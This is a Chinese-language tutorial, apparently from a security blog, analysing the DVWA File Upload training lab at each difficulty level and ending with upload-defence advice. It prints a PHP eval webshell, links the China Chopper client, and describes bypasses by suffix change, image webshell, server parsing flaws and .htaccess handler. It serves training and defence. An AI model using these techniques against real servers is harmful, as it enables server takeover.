DVWA File Upload 文件上传全等级分析与实践（附常见的文件解析漏洞）

DVWA File Upload 文件上传全等级分析与实践（附常见的文件解析漏洞）：

大部分文件上传漏洞的产生是因为Web应用程序没有对上传文件的格式进行严格过滤 , 还有一部分是攻击者通过 Web服务器的解析漏洞来突破Web应用程序的防护, 还有一些常见的解析漏洞，上传漏洞与SQL注入或 XSS相比 , 其风险更大 , 如果 Web应用程序存在上传漏洞 , 攻击者甚至可以直接上传一个webshell到服务器上。

危害：

1.如果上传的文件是病毒、木马文件，黑客用以诱骗用户或者管理员下载执行。

2.如果上传的文件是钓鱼图片或为包含了脚本的图片，在某些版本的浏览器中会被作为脚本执行，被用于钓鱼和欺诈。

3.甚至攻击者可以直接上传一个webshell到服务器上完全控制系统或致使系统瘫痪。

Low:

查看源码：

函数：

源码中暴露的问题：

正常的长传文件，没有做任何过滤，并且输出了上传文件的路径信息

文件上传文件后，文件直接保存，保存路径为hackable/uploads/，文件上传成功后，返回succesfully。

上传一句话木马来测试:

编写一句话木马，注意后缀。

<?php @eval($_POST[‘test’]);?>

上传成功：

可以依据路径去找一找这个文件，发现确实存在

记好这个路径：http://127.0.0.1/DVWA-master/hackable/uploads/test.php

我们来试试访问：

上中国菜刀

这里附上中国菜刀的下载地址：

https://github.com/raddyfiy/caidao-official-version

在空白处右键单击，选添加，然后写入test.php的访问路径，密码就是test，由“<?php @eval($_POST[‘test’]);?>“决定的。最后添加上去

然后选中这个记录，右键单击，选择”文件管理”

连上了

攻击者可以为所欲为了，尤其是那种操作权限开放的，人家直接修改你的数据库或者直接删库。

Medium:

查看源码：

Medium级别的代码对上传文件的类型、大小做了限制，要求文件类型必须是jpeg或者png，大小不能超过100000B。

只进行了Content-Type类型校验，试一试正常上传.png文件，抓包修改文件后缀名为.php

上传成功了

再验证一一，根据路径去找找

确实成功了

High:

查看源码：

函数：

此外;可以看到，(($uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, ‘.’) +

这个就是防范iis 6.0文件解析漏洞的，有时我们为了绕过限制会提交这样形式的文件：

Xx.asp;.xx.jpg xx.jpg

而这句话的作用就是说它会验证文件的最后一个点之后的格式上面的例子来说就是不管你前面写了多少，它只验证最后的 ’.jpg’

制作一个图片马：

随意找一张图片，将图片以文本方式打开，保留前三行，然后将一句话木马写入

上传图片马：

出错了，将后缀改为png

依然不对

多次测试，都过不了

换了一个方式制作图片马（这次终于成功了，记录一下）：

1.首先我自己随意截了一张图片，另存到WWW目录下，后缀为png

2.以txt的格式将这张图片打开，将之前的一句话木马写入放在最后，然后保存

来验证一下：

依据那个目录确实能找到文件

Impossible:

查看源码(不全部贴了，可以自己看看）：

分析：

文件名随机这里就无法使用截断、重写图片的话，使用图马就也无法绕过

补充一下常见的文件解析漏洞：

1.IIS 解析漏洞

IIS6.0 在解析文件时存在以下两个解析漏洞 .

当建立 .asa 、.asp 格式的文件夹时 , 其目录下的任意文件都将被 IIS 当作 asp 文件来解析 .

在 IIS6.0 下 , 分号后面的扩展名不会被解析 , 也就是说当文件为 *.asp;.jpg时,IIS6.0 同样会以 ASP脚本来执行 .

2.Apache 解析漏洞

在 Apache 1.x 和 Apache 2.x 中存在解析漏洞 , 但他们与 IIS 解析漏洞不同 .

Apache 在解析文件时有一个规则 : 当碰到不认识的扩展名时 , 将会从后向前解析 , 直到碰到认识的扩展名位置 , 如果都不认识 , 则会暴露其源码。比如：1.php.rar.xx.aa

Apache 首先会解析 aa 扩展名 , 如果不认识则接着解析 xx 扩展名 , 这样一直遍历到认识的扩展名为止 , 然后再将其进行解析

3.PHP CGI 解析漏洞

在 PHP的配置文件中有一个关键的选项 : cgi.fi: x_pathinfo. 这个选项在某些版本是

默认开启的 , 在开启时访问 url, 比如： http://www.xxx.com/x.txt/x.php,x.php 是不存在的文件 , 所以 php 将会向前递归解析 , 于是就造成了解析漏洞 . 由于这种漏洞常见于 IIS7.0 、 IIS7.5 、 Nginx 等 Web服务器 , 所以经常会被误认为是这些 Web服务器的解析漏洞 .

4.Nginx <8.03 空字节代码执行漏洞

影响版本 :0.5,0.6,0.7<=0.7.65 0.8<=0.8.37

Nginx 在图片中嵌入 PHP代码 , 然后通过访问 xxx.jpg%00.php 可以执行其中的代码 .

5.其他

在 windows 环境下， xx.jpg[ 空格 ] 或 xx.jpg. 这两类文件都是不允许存在的 , 若这样命名,windows 会默认除去空格或点 , 攻击者可以通过抓包 , 在文件名后加一个空格或者点绕过黑名单 . 若上传成功 , 空格和点都会被 windows 自动消除 , 这样也可以 getshell.

如果在 Apache 中 .htaccess 可被执行 . 且可被上传 . 那可以尝试在 .htaccess 中写入 :

SetHandlerapplication/x-httpd-php

然后再上传名称为 shell.jpg 的 webshell, 这样 shell.jpg 就可解析为 php 文件 .

File Upload防护总结：

1.检查文件上传路径 ( 避免 0x00 截断、 IIS6.0 文件夹解析漏洞、目录遍历 )

2.文件扩展名检测 ( 避免服务器以非图片的文件格式解析文件 )

3.文件 MIME验证 ( 比如 GIF 图片 MIME为 image/gif,CSS 文件的 MIME为 text/css 等 )

4.文件内容检测 ( 避免图片中插入 webshell)

5.图片二次渲染 ( 最变态的上传漏洞防御方式 , 基本上完全避免了文件上传漏洞 )

6.文件重命名 ( 如随机字符串或时间戳等方式 , 防止攻击者得到 webshell 的路径 )

另外值得注意的一点是, 攻击者上传了webshell之后需要得到webshell 的路径才能通过工具连接 webshell, 所以尽量不要在任何地方 ( 如下载链接等 ) 暴露文件上传后的地址, 在这里必须要提一点 , 就是有很多网站的上传点在上传了文件之后不会在网页上或下载链接中暴露文件的相对路径, 但是在服务器返回的数据包里却带有文件上传后的路径。

来源：freebuf.com 2021-06-25 21:44:19 by: wakemeup

文章版权归作者所有，未经允许请勿转载。

THE END